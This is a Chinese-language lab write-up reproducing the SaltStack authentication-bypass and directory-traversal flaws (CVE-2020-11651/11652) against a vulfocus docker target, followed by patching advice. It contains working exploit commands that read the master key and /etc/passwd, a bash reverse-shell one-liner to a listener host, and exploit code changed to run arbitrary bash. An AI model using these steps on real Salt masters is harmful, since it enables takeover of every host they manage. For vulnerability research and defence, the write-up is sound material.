saltstack RCE

saltstack RCE

一、漏洞介紹

SaltStack是基於Python開發的一套C/S架構配置管理工具,是一個服務器基礎架構集中化管理平臺,具備配置管理、遠程執行、監控等功能,基於Python語言實現,結合輕量級消息隊列(ZeroMQ)與Python第三方模塊(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)構建。
國外某安全團隊披露了SaltStack存在認證繞過漏洞(CVE-2020-11651)目錄遍歷漏洞(CVE-2020-11652)

二、漏洞危害

在CVE-2020-11651認證繞過漏洞中,攻擊者通過構造惡意請求,可以繞過Salt Master的驗證邏輯,調用相關未授權函數功能,從而可以造成遠程命令執行漏洞。在CVE-2020-11652目錄遍歷漏洞中,攻擊者通過構造惡意請求,讀取服務器上任意文件。通過對這兩個漏洞的利用可以實現RCE的效果,在控制salt-master之後,通過salt大面積控制在運維繫統下的主機。

影響版本:
SaltStack < 2019.2.4
SaltStack < 3000.2

安全版本:
2019.2.4
3000.2

三、漏洞驗證

靶機(172.22.8.14):
docker pull vulfocus/saltstack-cve_2020_11651 # 拖取鏡像
docker run -d -p 4506:4506 -p 4505:4505 vulfocus/saltstack-cve_2020_11651 # 啓動容器

在這裏插入圖片描述
攻擊機:

poc鏈接:
https://github.com/jasperla/CVE-2020-11651-poc

pip3 install salt==3000.1 #安裝salt模塊
python3 exploit.py -m 172.22.8.14 #讀取key
在這裏插入圖片描述
python3 exploit.py -m 172.22.8.14 -r /etc/passwd #讀文件
在這裏插入圖片描述

反彈shell

本地(172.22.1.102)監聽4444端口:
nc -lvp 4444
攻擊機執行
python3 exploit.py -m 172.22.8.14 --exec "bash -i >& /dev/tcp/172.22.1.102/4444 0>&1"
在這裏插入圖片描述
這裏有幾個坑要說一下,首先是docker 容器內訪問宿主機“No route to host”的問題,依次執行以下命令可以解決:

nmcli connection modify docker0 connection.zone trusted
systemctl stop NetworkManager.service
firewall-cmd --permanent --zone=trusted --change-interface=docker0
systemctl start NetworkManager.service
nmcli connection modify docker0 connection.zone trusted
systemctl restart docker.service

然後是GitHub上exp執行命令調用的是python,docker裏沒有python環境,需要修改代碼如下(不同的exp可能不一樣,大同小異):

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg = {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            #'lang': 'python',
            'lang': 'bash',
            #'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
            'code': "{}".format(cmd)
        },
        'jid': jid,
    }

四、漏洞修復

  1. 升級至安全版本及其以上,升級前建議做好快照備份措施。
    安全版本下載地址參考:https://repo.saltstack.com
  2. 設置SaltStack爲自動更新,及時獲取相應補丁。
  3. 將Salt Master默認監聽端口(默認4505 和 4506)設置爲禁止對公網開放,或僅對可信對象開放。

參考鏈接:
https://www.freebuf.com/articles/system/178150.html
https://github.com/dozernz/cve-2020-11651
https://github.com/bravery9/SaltStack-Exp
https://github.com/jasperla/CVE-2020-11651-poc

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章